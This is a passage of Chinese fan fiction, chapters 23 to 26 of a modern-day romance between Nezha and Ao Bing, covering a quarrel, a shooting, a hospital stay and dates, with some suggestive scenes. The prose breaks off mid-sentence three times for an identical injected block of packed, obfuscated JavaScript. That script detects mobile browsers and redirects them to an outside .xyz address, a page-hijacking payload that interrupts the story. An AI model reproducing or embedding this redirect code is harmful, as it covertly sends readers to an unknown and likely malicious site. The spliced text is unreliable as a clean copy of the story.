“错了,我是生气你不顾自身安危就去救人。你明明打得过,为什么不反击!为什么要白挨打!你没有手脚的吗!就趴在地上被揍?你知不知道那几个女生吸毒为了毒资卖身借贷!那几个男的是职业讨债的!什么都做得出来!”哪吒越说越气,不让小龙靠着肩膀了,哪吒化身喷火龙对着敖丙就是一顿输出。 “你知不知道有多危险!我如果没赶到你说不定现在就被拿去窝点做鸭换钱了!也有可能他们直接就一刀捅过来!是,你是不会死,咱们都死不了,但是你知不知道那些人身上多多少少都有病!你知不知道如果受了伤皮肉损了,你现在很可能会染上病!一生都治不好的病!”哪吒一拳头砸在铁凳子上,砸得一整排凳子发出哀鸣,吓得敖丙呜咽一声,浑身抖了一下。 23.服软 哄回去 看流星雨 这还是他们第一次吵架。也是敖丙第一次看见哪吒动怒。 “对不起……那个时候事发突然,我没有想那么多。”敖丙垂着脑袋,从哪吒这只能看见小龙的发旋,看起来有点像菜包子。 哪吒张口还想教训敖丙,可构思大半天,最后也只是撇过头,也不知是埋怨自己还是埋怨敖丙,从鼻子里悻了气。 他又怎么会不知道敖丙没有反省,身为龙族三太子又是活了几千年的神仙,该懂的道理早懂了,只是事出突然,性格使然一下子就做了决定。敖丙并没有做错什么,错的是那些作恶多端的人,是身为警察的他们不得力,才会导致这种事情发生。若是换作他在现场,他也一样会挺身而出,哪管有没有后援,干就完了。 “下次别再不还手了,知道了吗。”哪吒把声音软下来,尽量让自己听起来温和点儿,当警察当久了,说话总带着审问的味道,以前是没发觉的,直到前几天警校来的实习生夸他说话很有威严才发现。 他这几年都是这样和敖丙说话的吗?这么凶?害得敖丙现在怕得连头都不敢抬,不敢和他对视? 小龙没回话,只是含着肩膀继续等哪吒训话。 哪吒看了都心疼,一下一下搓着小龙肩膀:“下次被打了给我打回去,听见没?”他努力模仿着队里新当妈的同事的说话方式,活了这么多年,他对哄人没有一点经验。 “我知道了……我只是,以前没打伤过凡人……”敖丙到现在还真真切切地能感受到那人肋骨断掉的触感,一想就心慌,人类好像很脆弱的,前阵子一个同事染了风寒,没一个月人就没了,那个同事是天天和他一同吃饭的。 这是他第一次接触寿命有限又有灵智的生命疾速消逝。他才知道,死亡是什么感觉。 他不像哪吒身负杀劫,他生来是征风调雨的龙,是为了减少人间水祸而生的。他好害怕自己真的杀了人。 哪吒垂下眼帘注视着爱人。是的,小龙这辈子伤过的都是天兵,甚至只是努力把天兵打飞,没有蓄意要过他们的命。哪吒心里像塞满的石头,重得不得了,他不善表达情绪,现在只恨自己天天读兵书不读点儿女情长。 小龙像个做错事的孩子,还等着哪吒发落呢,他不知道哪吒气早消了。哪吒一手抓住敖丙肩膀,一手轻轻抬起小龙下巴:“抱歉,是我太急了,才凶了你,对不起,你别放在心上。” 敖丙错愕看着哪吒,唇微张着,好奇这喷火莲藕半分钟前还劈头盖脸训他,怎么现在180°态度大转弯了。 “我知道你为什么这样做,我只是……太在意你了。我希望你一直好好的。”这话听得敖丙觉得哪吒被夺舍了,什么回事儿,这莲藕突然说起情话来了。 “哪吒……你,没事吧?” “下次保护好自己,我不一定每次都能及时赶到的。”哪吒把人抱在怀里,在敖丙耳边轻语着,“看着你疼,我也疼。” “打住!打住!”敖丙被激得打了个颤,“你怎么突然说话这么……肉麻。” “学队里小年轻的,他们现在时兴这种表达。” 嗯。学得直白过了头,弄巧成拙了。 “还是按回以前的表达方式吧……”敖丙无奈轻笑,指尖在哪吒眉心弹了弹,“要改也行,给我点时间适应。” 电子屏出现了敖丙在人间的名字,他正准备起身去取报告单呢,哪吒就把他摁下了:“我去取,你歇下。” “软组织挫伤,皮下出血,肋骨轻微骨裂。”哪吒站在敖丙面前面无表情地复述着报告内容,然后冷冷的盯着敖丙,“幸好内脏没事儿。” 敖丙心虚移开目光:“也没什么大不了的……很快就能恢复了。” “呵。”哪吒冷笑一声,把报告拍在敖丙头上,随后一屁股坐在敖丙身边往后倒去,把凳子压得吱呀一声。敖丙接过报告细细阅读了一下,发现确实没什么大碍,松了口气。 “别急着放下心来,咱们都得开点阻断药,不怕一万就怕万一,先吃再说。” “好。” 二人去药窗取了一袋子的药,小蔡便载着车把二人送去警局做笔录。 敖丙受到了局长的热情欢迎与嘘寒问暖,显然调查已经有了进展,他被当成了见义勇为的好市民;哪吒就没那么好运了,局长把他劈头盖脸一顿骂,果然还是造成了些恶劣影响。哪吒低着头一句话也不回,就等着局长把火气撒完。 笔录很快就完成了,尽管敖丙自认为无碍想第二天继续上班,但是哪吒还是故作生气样给他强行请了半个月的假,毕竟有公安的辅助作证,病假很快就被批下来了。哪吒也被暂时停止调查了,二人又一次得了共同假期,窝在小家里不再动弹。 敖丙本以为这半个月二人能甜腻在一起,很显然,现实打了他一巴掌—— “yue——”敖丙冲进厕所,差点把胃都吐出来,吐得他眼泪都被挤出来了。 哪吒紧跟着他冲了进来,一手托住敖丙的腹部,一手轻拍他背部顺气。敖丙吐得浑身不受控的抽搐——阻断药的不良反应在他身上淋漓尽致地体现了。 哪吒被敖丙软下的身体往下一带,两个人齐齐摔到地上,哪吒给敖丙做了肉垫,紧紧把人搂在怀里。 “怎么样,感觉好些了吗?”哪吒揉搓着敖丙的小腹,那里软乎乎的,什么都被吐空了,摸上去薄薄一片的,透过布料都能感受到小腹凉的像瓷片一样。 敖丙吐到连话都说不出,虚弱点点头,就撑着地板想起身,可手脚都脱了力。哪吒知道这小龙爱干净,一手托着人站起来,一手把水龙头打到热水口,再扯下一旁的洗脸巾准备给敖丙擦脸。待到出的水是温热的便帮忙给小龙递上漱口杯,又把小龙擦了个干净。 敖丙安静地任着哪吒摆弄,人被夹在洗漱台和哪吒中间,感觉算不上好。等到感觉自己被洗干净了才虚虚抬起手示意。哪吒单手把人抱回沙发上,又急急忙忙去冲了杯葡萄糖水。 “喝一下,你吐得太厉害了。” 敖丙很听话地把一杯葡萄糖全喝了,然后泪眼汪汪地看着小莲藕。 “别那样看我,没有用。”哪吒被盯得浑身起鸡皮疙瘩,那眼神太楚楚可怜了,比床上泪眼蒙蒙更让人心碎,“药该吃还是得吃,时间到了去检测是否阳性。” 哪吒手捏敖丙脸蛋,那脸蛋手感好极了,软乎乎水嫩嫩的,稍微用点力就就能留下红痕:“我就在家看着你,你难受我就照顾你,有什么咱一起担着。” 小龙点点头,拍拍旁边的座位让哪吒坐下,自己则把头靠在莲藕大腿上,两人凝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518738|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望着彼此不言语。 过了几天,哪吒回了趟警局又去医院取了检测报告。回来时敖丙一直很紧张打量着他浑身上下。 “你……□□呢……?”敖丙看哪吒去也两手空空,回也两手空空,很怕哪吒是被处罚了。 “没事,都是阴性。”哪吒先说了另一件事,把报告单取出来给敖丙看,二人都松了口气。 “放心,我没被炒。”哪吒把勒着的皮带一抽,挂在门口衣架上,“因为围观群众作证和那些人有前科,有一些群众认得我,我给他们找回过孩子,各种原因之下,我只被口头教训了,写份千字检讨书就行。” “不过以后就转岗了,我不做打拐了。” “哪吒……”敖丙满脸歉意坐在哪吒旁边,“对不起……我连累你了。” “傻龙,都说了和你无关了。”哪吒轻抬小龙脸颊,在鼻尖落下一吻,“打拐十几年了,现在拐卖案件早就少很多了,半年前就有解散专案的趋势。所以我以后就去家旁边的派出所做片警,但是是案件组。” 小龙眼睛一眨不眨地看着,他总是很认真地听别人说话,不打断。哪吒很喜欢和敖丙聊天,很舒服。 “我连你都保护不好。”哪吒歪着头,轻轻吮着小龙唇瓣,眼睛却不闭上,极近距离打量着那青色星眸,“所以打算还是落到实处,就守着这块地方,保护你,也保护好在这片区域的市民们。” “你眼睛真好看。”小莲藕突然间前文不接后文不搭的点评一句,把敖丙听得笑了一下,露出两颗犬牙。 妈的,真好看。 小龙不知死活,还把舌头探到莲藕上颚吮吸。 哪吒坏笑着推开了敖丙,问:“你找死啊?” 小龙不回答,只是双手环上来,加深这个亲吻。 哪吒一边亲着,一边把人抱去浴室。敖丙被放到鱼缸里,满脸疑惑问到:“晚饭还没吃,就洗澡了?” “谁说不吃饭,现在就吃。”哪吒把花洒开了,水落到二人身上,把人淋成落汤鸡。现在的情形恍若那年荷花池重逢般,半透明的衣服紧裹着身体,显得身肢曼妙极了。 月明高悬,星河在城市的灯光下归隐于黑夜,今夜恰逢有火流星雨,天文学家惊诧于今夜的流行竟如此让人神魂颠倒——那一颗红色的流星与一颗青白色的流星自东方滑入,以齐平的速度划过黑色的幕布,互相纠缠着消失于天边。 敖丙终于回过神来了,急切把哪吒自满水的浴缸中捞出。小莲藕一边呛咳着一边颤抖,眼睛通红盯着敖丙,像要把人拆吞入腹。 “你,你怎么会呛水啊!” “一时高兴,忘了用法术”哪吒反扑过来,把敖丙摁进水中,发现敖丙虽然从头到脚红通通地,却并无不适,便悻悻把人又捞了起来,“不过这招对你没用。”小莲藕撇撇,觉得自己错过了什么山珍海味。 “那我屏气试试?”敖丙手探到哪吒小腹,问。 “受不住了记得呼吸。”哪吒笑着强压兴奋,轻缓地把敖丙放入水中,那小龙就在水里睁着眼看他。 浴缸的水泄了又满,满了又泄,混天绫也在浴缸里翻着浪。窗外正是盛夏时节,燥热的风把树叶扰得簌簌作响,惊走了几只飞鸟 ,后来云卷走了月亮,徒留一夜的欢愉。 24.医院急诊处 窗外的树被寒风梳光了头发,又被细雨滋润了满头青葱,来来回回了好几次,哪吒的肩章自一杠一星升为两杠三星,成为了所里资历最老的那批老警察了。 敖丙也熬成了主任级别的设计师,如今水利工程顺利走到收尾阶段了,他肩上的担子也轻了许多,可算是过上了朝九晚五的生活。那派出所就在离他们家十分钟脚程处。 已是人间打工的第17个年头了,社会发生了翻天覆地的变化,人们不再对他们这些同性之情说三道四,二人在单位也能自如谈起自己的爱人,甚至是带着爱人来公司团建。 人们说,你们长得好有夫妻相。话说出嘴了便知称谓错了,改口叫他俩天生一对的夫夫,逗得两个神仙笑得剩个弯弯眉眼。 二人计划着是时候要换个身份过活了,原打算到了年末申请退休,可这世事无常,常将人杀得措手不及。临着哪吒退休的时候,来了个大案子。 那是个跨境贩毒的集团,警方得了线报知道他们要在哪吒的辖区进行交易,便决定将他们一网打尽。可那涉毒的可都是穷凶极恶之人,又岂会顺利伏法? 敖丙知道哪吒近来有个大案子要处理,便不去打扰,因为即便再晚,十分钟的路程哪吒总会回家的。或是深夜自背后抱上他,或是清晨下了夜班回家补觉。 可那晚还没等敖丙睡熟,手机就叮叮叮响起了。来点显示卡一,是私卡,来电人哪吒。 哪吒平日已不怎么打电话来了,这年头都用微信。敖丙只觉得有什么东西好像不太妙,便急急忙忙按下了接听键。 “喂?” “请问是敖先生吗?”对面语气挺着急的,听着像个年轻人。 “我是。”敖丙噌一下从床上弹起来了。 “您能现在来一趟省人民医院吗?要快!”那边听起来想要哭了。 敖丙衣服都不换了,抄起平日上班的包,踩着还没系好鞋带的运动鞋,“发生什么了,你慢慢说!” 他的语气听上去像快要哭了。 “李警官他中枪了!现在在急救,您快来吧!”敖丙这边细细一听,才听到那边有着许多杂音。 家离医院3公里多,敖丙看看天,天空闷闷的,是要下大雨了,小龙心里一横,化作龙身往医院飞去,只一瞬便到了。 敖丙顺着那头的指示,很快就找到了急救的手术室。 急诊处满地血污,红的血和被踩黑的血鞋印到处都是。这人很多,有的轻伤,在被包扎着做处理,有的疯狂打电话做指示,还有的在哭,头一下一下敲着医院的墙,围着的人又急急忙忙把拉着——混乱不堪。 众人大多穿着藏蓝色的警服或黑色的作战服,敖丙却穿着一身单薄的白色丝绸睡衣,在人群中甚是扎眼。水青色的长发已及腰长,像一谭清水般垂下来,却又随着主人急切的步伐甩动着。敖丙肤色白皙,在急救室惨白的灯下带着衣服,整个人散着光晕,恍若刚出水的花/茎般,让人只敢远观。 “现在什么情况?”敖丙抓着一个脸熟的人问到——那正是几年前的小蔡,如今也已长成个俊俏警官了。 那年小蔡不敢看敖丙,可到如今那人直直站在面前,他又历经几年工作,早就不怕直视这让人看一眼就不敢再看的“嫂子”了。 他妈的,他终于知道师父怎么上班累死累活还天天回家了,有此良人谁能不回家。 敖丙来得急,额间都渗着汗,流在白里透红的脸颊上,一些碎发就被粘在脸上了,正被呼吸一吹一吹地动着。一些同事虽忙着处理,但也不时向这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532016|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边投来好奇的目光,有些个还偷偷拍了照。 “你说话啊!”敖丙见蔡警官不语,催促道。 “师父他中了枪,人送进去时还醒着的,他进去前还让我转交你一句,安心。” 敖丙差点一口气没接上来。身后传来皮靴踏地的声音,蔡警官余光看见了来人,便立刻站直了比了个标准的敬礼:“阮队!” 一个年轻女警官走了过来,朝蔡警官点头示意,接下蔡警官的话头:“李警官是肩部中的枪,我看位置应该是打到了骨头,没伤着器官,失血不多。” 敖丙循声望去,那是个扎着利落高马尾的警官,眉目英气,脸颊上贴着个纱布,约摸着30岁不到,警服上也沾了不少血迹。身后还跟着个人儿,那女警官把人从身后牵出来,又退一步让他们说话。 “对不起。李警官是为了救我才中的枪,都是我的错。”那是个长得年轻的小警察,肩上还是实习的杠,如今把腰弯到了90°来道歉。 敖丙看看那不敢起身的实习警,又看看方才的女警官——那人正转身打电话来着,一旁的小蔡紧抿着唇像石像一样杵着。 “没事,你起身吧。”敖丙一手揉着眉心,一手把人扶起,“换做是我也会这样做的,你不要自责。”——他知道哪吒也是这么想的。 手术室的门开了,一众人望过去看会叫到谁的名字。 “李XX家属在吗,需要签字!” 蔡警官站得其实离手术室最近——今晚他已经签下不少病危通知单和知情同意书了,现在他站着不动,扭头望向敖丙。 “我是他家属,我来。”敖丙接过护士递来的一份份纸张,捏着通知书的左手是抖的,可签字的右手却稳得很,在签字处签下一个个漂亮的行楷名字。 25.病房 情人节 告白 哪吒被推出来时人还没醒,病房里只剩下他俩,心电监护仪规律地响着。 血包连着输液管,流入哪吒体内,敖丙拉起爱人的手。那手冰凉万分,便一手覆上去,这一次他手心比哪吒暖和。那针头粗,透着手背皮肤都能隐约看见其形状,看得敖丙手背生疼。 敖丙弯下腰仔细端详着哪吒,手术麻醉药效还没过,他仍熟睡着。 小莲藕眉毛毛流根根分明,眉头全然舒展开来。哪吒眉眼生得近,鼻梁比直,高度恰如其分。可睫毛密却不算长,下面还带着一点点卧蚕,黑眼圈倒重,大抵是近来工作累着了。唇不厚不薄,次次咬上去口感都很好,如今却失了血色,白粉色的,还干燥得起了皮,敖丙心想家里不挺多润唇膏的,各式味道都有,偏偏哪吒就是不涂。肤色倒是健康的小麦色,相比之下,敖丙反而像血气不好的样子。 小莲藕呼吸匀长,带着些病气打在小龙脸上。“早些醒来吧。”敖丙手扶着小莲藕脸蛋儿,两人面颊互相蹭着“我就守在你旁边。哪都不去。” 敖丙坐在床旁,细细把病历阅读了几次后才放下。天光已照彻病房,瞌睡虫虽迟但到。敖丙起身拉了窗帘,随后一手拉着小莲藕没扎针的手,头枕着病床,趴着睡着了。 哪吒是被热醒的,正欲起身,却感受到右手被牵住,心里便了然了。 小龙趴着睡着了,脸被床挤得皱起,右脸颊像小孩那样嘟了起来,可爱极了。背部随着呼吸起起伏伏,看起来就很乖巧。穿着的还是他亲手给敖丙买的真丝睡衣,想必是在睡梦中被同事急匆匆喊了过来,没来得及换套外出的。 热是热了点,但是能看见敖丙酣睡的模样,值。哪吒不敢动,就这么静静看着小龙熟睡的模样,望眼欲穿。他现在很想狠狠捏一把那看起来手感像雪媚娘般的脸颊,但是又不忍搅了敖丙好梦。 趴着睡终究是不舒服的,小龙睁开眼时便直直撞上莲藕那毫不掩饰爱意的目光,一下子就醉在那温柔乡里了。 哪吒目睹了小龙的视线从刚醒的茫然失焦到渐渐聚焦再到直勾勾的望着他,水青色的眼睛睁得大大的,带着懵懂的喜悦。他自己都没注意到眸里带了笑,红色眸子像淬了情意的咒,引得敖丙不言语也不动作。 待到二人把对方看够了,敖丙才开口问:“醒了?” “醒了啊,看你好久了。” 敖丙正想起身叫医生进来,结果腿睡麻了,一下子没站稳就往床头倒去。哪吒心里一急便伸手去扶,哪知牵动了伤口,一下子把他疼得不敢动弹了。 敖丙一下就站稳了,早看见哪吒那转瞬即逝的痛苦模样了:“麻药可能药效过了。”他一手撑着哪吒的枕头,一边把身子探去床的另一头摁下呼叫铃,“我叫医生来给你检查检查,你别动了,小心伤口又裂开。” 长发随着敖丙的动作自背部滑落,垂到哪吒脸庞,落下来的时候还带着桂花的香气——哪吒买的桂花味洗头水。发丝挠着他脖子,痒得他想一把把人抓过来狂吸。 敖丙提着饭盒回来的时候哪吒在讲电话呢,他就在房门外听着。 “对,我没事。伤亡情况怎么样?好,那就好。可以,你下午来一趟吧,我方便的。” 确认他们谈完话了,敖丙才敲了门进去。哪吒这次逮着手残了的借口,这下不得得了便宜还卖乖。 他一脸假笑看着敖丙眼里全是诡计得逞的坏笑:“我手动不了了~,你~喂~我~” 敖丙视角里这莲藕好像返老还童了般,像小孩子撒娇。那又能怎么样呢,他偏偏就吃这一套。 “丙丙~帮我把空调调低点。”哪吒还能动的手拉着他衣摆摇晃。 阮警官敲门进来时正好撞见敖丙嘴对嘴喂哪吒椰子糕。 阮警官:“……不是?李哥你这么不把我当外人的吗?另外这空调是不是开得太冷了点?”阮警官瞟向门口,中央空调□□到了18°——外面蝉热得说不出话,里面恍若天堂。 敖丙推着哪吒没受伤的肩膀想退出来,结果哪吒坏心摁着他后颈禁锢住他,等到椰子糕一大半都被哪吒抢了去,才依依不舍放人。敖丙羞红了耳朵,嗔怪了一记眼刀看过去,哪吒竟还得意地舔着唇笑了。 呵,也就是看着敖丙心软他受伤才敢如此放肆! 哪吒朝阮警官招招手,眼睛却还看着羞到面壁的小龙。 老天,他怎么能这么可爱。 “这是初步鉴定报告,你看看。”阮警官递来一杳A4纸,“我觉得有个蹊跷。”她指着一份尸检报告说 “死者身上有个洗掉多年的纹身,和我们一直在追查的那个组织图腾很像。” 哪吒仔细比对着图案,眉头锁紧了,“你怎么想?” “这个图腾首次发现就是在你很久以前的打拐组织里。”阮警官看了看站在一旁的敖丙,请示到。 “没事。他不是外人。”哪吒叫住了正准备往外走的敖丙。 “这次是贩毒。”阮警官眼神锐利得很,把自己的推测都说了出来,“我觉得这可能不是凑巧的,这极有可能是一个规模庞大的犯罪组织。时间已经横跨很多年了,我希望能做出并案处理。” 哪吒看着报告,又抬头直视阮警官坚定的眼神,思衬再三便允了:“我会向上级报告此事,你搜集一下相关信息,做好申请处理。” “不过,我可能不能和你一起查下去了。”哪吒把报告全看完了,递回给阮寻月。 “李哥是……要走了吗?” “现在正好能凑个病退。”哪吒像长辈般看着小女孩,满脸的欣慰自豪,“这条路不好走,你可能会遇上很多危险,甚至死在途中也有可能。你确定要查?” “不像你,死不了是吧。”女孩是为数不多猜到他不是人的人类朋友,她抱着那叠资料,和战友做着进入倒数的告别,“早就做好牺牲的觉悟了,我会一直查的。” 哪吒听了不禁轻笑,不知怎么回复。 “以后……还会再见吗?”人终究是人,不像神仙那样已经对离别见怪不怪了,更何况小女孩还年轻着呢。 “我不知道。”哪吒把女孩招来眼前,拍着小辈的肩膀,“微信不删你,有事都能联系上。” 女孩走了,敖丙才开口问到:“其实你能一直查下去,为什么不查?”他知道哪吒嫉恶如仇,不应该会真的因为受伤退休。 “凡人有凡人自己的路要走,我们不能干涉太多因果。”哪吒含过敖丙递来的西瓜切件,“那个组织涉及的东西太多,只有人类才能自救。” “之后什么打算?”敖丙面抵着墙伸懒腰,腰窝塌陷下去,他还没换掉那身睡衣,白色的绸缎紧贴着皮肤,描摹出劲瘦的腰肢前面没遮住,露出白玉似的小腹。应该是伸展得舒服了,小龙浑身都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546133|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打着颤,手指也蜷了起来,喉间溢出懒音来。 “先gap一下,你呢。” “一样,年前退休,那就都歇会儿吧。”小龙挤了上来,这没地方放行军床,但小龙不想再趴着睡觉了,便决定挤一挤,肌肤隔着布料相亲着。 一米宽的病床挤着俩大男人,显得尤为逼仄。 “起来,我要去厕所。”哪吒倒是推了推他。小龙起身时不巧瞥见了身下,望向哪吒时便漾起坏意和炽热的渴望。 “唰——!”敖丙起身把病床四围的帘子被拉了个严严实实,还施了个障眼法术,接着半身俯在哪吒前,尾音上扬又带着些慵懒,“你右手使不上力了,怎么办呢~” 哪吒捏着敖丙的耳垂,故意压着声音在耳廓旁说到:“那你帮我。” “你最近怎么净说些荤话。”小龙侧躺在一旁,手指轻刮小莲藕鼻尖。 “还不是你勾的我。” 一周后: 医生看着X光图,那碎掉的肩胛骨已经完好如初了,或者说和妈生的一样完美——有一种十年寒窗白读的美。而当那头已半秃人却还年轻的主治医师把嘴巴张成O型望向哪吒,哪吒只朝着大夫一笑,在嘴唇上竖了手指——意为保密。那大夫倒吸一口气,鞠着躬把人请回家了。 年后,他们搬去了另一个城市生活。 那日敖丙晚归,因为有朋友约他出去玩。不过他没应下朋友晚上团建吃饭的邀请,先行回了家——他和哪吒有个心照不宣的约定,若非工作加班,21点前都得回到家。 到家时小龙在门外喊哪吒开门,等了一分钟,无果,便自己拿钥匙开了门,才发现家里一片漆黑。 看来哪吒还没到家,走时连一盏灯都不留。 小龙不开心了,他还以为自己提前一个月疯狂旁敲侧击暗戳戳提醒哪吒,那人能懂自己的新鲜心思。三太子闷闷不乐把鞋子甩进鞋柜,正欲一手拍开照明之时,有人突然自背后紧紧抱住自己,把敖丙吓了一跳。那人埋在他颈间,亲着吸着,又打了一响指,餐厅那边便亮起点点烛光。 “情人节快乐,敖丙。”哪吒把人推到墙上,吮吸着唇瓣,湿漉漉的水声响彻玄关。 “谢谢。”敖丙被哪吒单手托着臀部,如今只有弯下腰才能贴着小莲藕的额头。他期待这一场约会很久了。 “客气什么,你想要的,我能给的,都给你。”哪吒把人往上颠了颠,“我学着做了个烛光晚餐,饿了么?不保证好吃哦。”说完又把人轻啄一口,惹得敖丙笑到合不拢嘴。 敖丙整个人陷在哪吒怀里,像某些年幼宠物一样蹭着他胸脯撒娇道:“要饿死了。” 不得不说哪吒还是做足功课的,香薰蜡烛全是甜腻云呢拿雪糕的味道,混杂着牛扒的香气,染了满屋子馥郁。 甜点是极美味的——因为那是哪吒点的外卖,包装袋还没来得及扔,敖丙进门时就看见了。 牛扒只能说是难以下咽——被哪吒用火烤太熟了。他只会做中餐,西餐还是有点强人所难。 后来蜡液被滴在手腕上,烫红了白皙的皮肤。鲜甜的奶油被沾得到处都是。 “敖丙,我好喜欢你。”哪吒把人紧紧锁在怀中,烛光摇曳,他只能看见敖丙星眸里啜满着水,皱着眉头看他。 “我也是。”敖丙抬腰亲了上来,在脖颈上嗦出红痕,“我也喜欢你。” 26.520特辑 商定纪念日 玩游乐园(上) 最近两人注意起走仪式感了,还因为定纪念日的事情争执过。 敖丙提议定为他被抽龙筋封神位那天,因为哪吒说过,那时一眼就觉得这小青龙生得美,也可以算作一见钟情了——但因为日期无法考据,此方案作废。 哪吒说是他们荷花湖水下初吻那日——但也记不清是哪天了。 唯一有确切日子又有大事发生的竟然是那场婚礼——两人同时否决,不想白白浪费结婚纪念日。 思前想后,还是敖丙说定为七夕吧。那年的发冠放在收藏柜里,画则被裱了起来,挂在家里最显眼的地方——敖丙很有远见采用了全矿石的颜料——几千了过去了那画颜色仍鲜丽如初。 不过哪吒更喜欢小龙给的另一个理由—— 那天他们正躺在沙发上,电视投屏播放着泰坦尼克号——全当个白噪音。小龙靠在哪吒怀里,哪吒一边和他讨论着纪念日,一边心不在焉给敖丙编头发玩儿。 “青丝谐音情丝,那次是我修得人形后第一次束发,你帮我束的。”敖丙往斜后方仰头,露出白皙而脆弱的脖颈,好让自己能直视到哪吒,喉结上下滑动着,带着抹情/色,“古时,你应该也知道,帮别人梳发和束发意味着什么。” “结发为夫妻,恩爱两不疑。”哪吒脱口而出一句古诗,随后使了个法术,把二人头发各取出来一撮,敖丙顺手接了过去,编了个鱼骨辫。 “对了。凡间有金婚银婚,咱们这还能活个几万年的,难不成还要创个钻婚出来?” “和你在一起,哪天都值得庆祝。”哪吒低下头,右手勾起一缕头发,虔诚地在沾满桂花香味的青丝上落下一吻。 他们除去白情后的下一个有仪式感的日子便是520了,现代人赋予这个日期谐音“我爱你”,两人便盘算着这天去哪玩好。 “海洋馆?”哪吒把做好的炸牛奶放在敖丙前面,小龙嘴馋得很,拿着筷子夹起就是干——果不其然被烫到了,粉嫩的舌尖被半吐出来,一动一动的卷着空气散热气。 老天,好可爱。 “不要,你若是想看海洋动物,我带你去东海看就好了。” “可是那里有鲸鱼诶~”哪吒托着腮帮子,噘着嘴撒娇。 “我可以带你去其他海域近距离接触,这不比看小小的鱼缸好?”敖丙吹凉了牛奶卷,嘴里正吃着,含糊说到。 “那……也不错,我能骑着你看海吗?” 敖丙拿筷子敲了敲哪吒的头:“好好说话!” 小龙还皱了皱鼻子,勾得哪吒很想一把把人摔上床。 “要不……咱们去游乐园?”小龙眼睛嘀咕嘀咕转着,想到意向后眼睛突然间亮了起来,“我们能玩过山车!还能拍好多照片!” “好好好,都依你。”哪吒叼起一根炸牛奶条,抬抬下巴示意敖丙来一起吃。 牛奶条被啃得越来越短,直至嘴唇相贴至互相啃咬——它的使命光荣完成了。 “走走走,先去排垂直过山车!”敖丙一进园就像脱了缰的马,牵着哪吒的手腕往过山车处狂奔。 哪吒敖丙抢到了第一排的位置,还特意选在最边边,这样双腿悬空着。视野里的事物疯狂掠去,只剩下颜色残影一闪而过,风声在耳边呼啸。 “啊——!”周围是其他游客响彻云霄的尖叫声。 而二人面无表情,内心没有丝毫波澜:-_- 哪吒附在敖丙耳边说:“我感觉没你载着我往天上飞刺激。” 飞惯了的青龙赞同道:“我也觉得。” 哪吒的动态视力极好,远远瞅见了个摄像头,二话不说捧住敖丙下巴就吻了上去。 一片尖叫声中,他们爱意缠绵。 待到下了过山车,敖丙听见旁边的情侣在打情骂俏。 “啊~吓得我腿都软了,宝宝咱们不要再坐过山车了好嘛~”那男生说。 女孩帮男朋友开了安全带:“那你歇着,我去坐云霄飞车。” “宝宝呜呜呜不要抛下我~”男生追了上去,腿都还软着。 敖丙打消了撒娇的念头——因为他自己就是个超级过山车,他做司机那种。哪吒帮他解开安全带后就牵着他手往出口走。 “52两张,诶帅哥要吗?” 哪吒仔细端详屏幕上那一大堆照片,心里大喜—— 正巧拍下了小龙错愕的一瞬。 “这张,要两份,过塑。”哪吒二话不说扫码掏钱,而后拿着那两张照片前来耀武扬威。 敖丙看见哪吒那六亲不认的步伐就在想,但凡哪吒是个孔雀精,背后的尾巴必定展开到270°还疯狂地响——俗称孔雀开屏求偶。 敖丙接过相片看得笑意晏晏,殷红的唇下是洁白的牙,今天小龙开心加上天气炎热,连脸蛋都泛着粉色,衬得眉目昭彰,明艳动人。“这张照片确实很好看。” 照片只对焦上了他们两人,哪吒半个右掌捧住小龙左脸,欺身压过来吻他。那是一个极具占有性和侵略性的亲吻,敖丙上半身都往后仰去,眼睛错愕地睁大了,与之相反的是哪吒闭着眼沉浸在这场唇齿纠缠里。那日敖丙被哪吒编了个鱼骨辫,水青色的辫子在飞速的行驶下被扬向过山车外。背景是湛蓝的天和高积云。像童话一样。 构图、色彩都美得令人失语。 “好看吧!”哪吒一手揽过人,把体重压下去,把小龙压得踉跄一下,“电子版在我手机里,回去了一起发个朋友圈。” 两人正细细欣赏那照片呢,敖丙被一个女生问了话。 “那个,不好意思,帅哥……我可以和你们合个照吗?”女孩声音不大,带着些不好意思,一步之遥是女孩的男朋友,肩膀挂着个毛绒挎包,左手一个三丽鸥手机壳,右手一个拍立得。 “啊?我吗?”敖丙搭讪遇得多了,这种倒是头一次。 “如果可以的话,能不能让你男朋友也一起照几张。”女孩发现这俩虽然一个看上去淡漠疏离,一个又凶又酷,但说话彬彬有礼,不难搭话,“我这边可以立刻出照片的,电子版也有的。我不外传!” 女孩眼睛都要迸发星星来了:“我是搞人像摄影的,没其他意思,就是二位很好看。” 敖丙觉得这年岁才二十多的凡人可爱又好笑,但他并非那种高高在上的神明,倒也乐得和凡人寻些乐子。 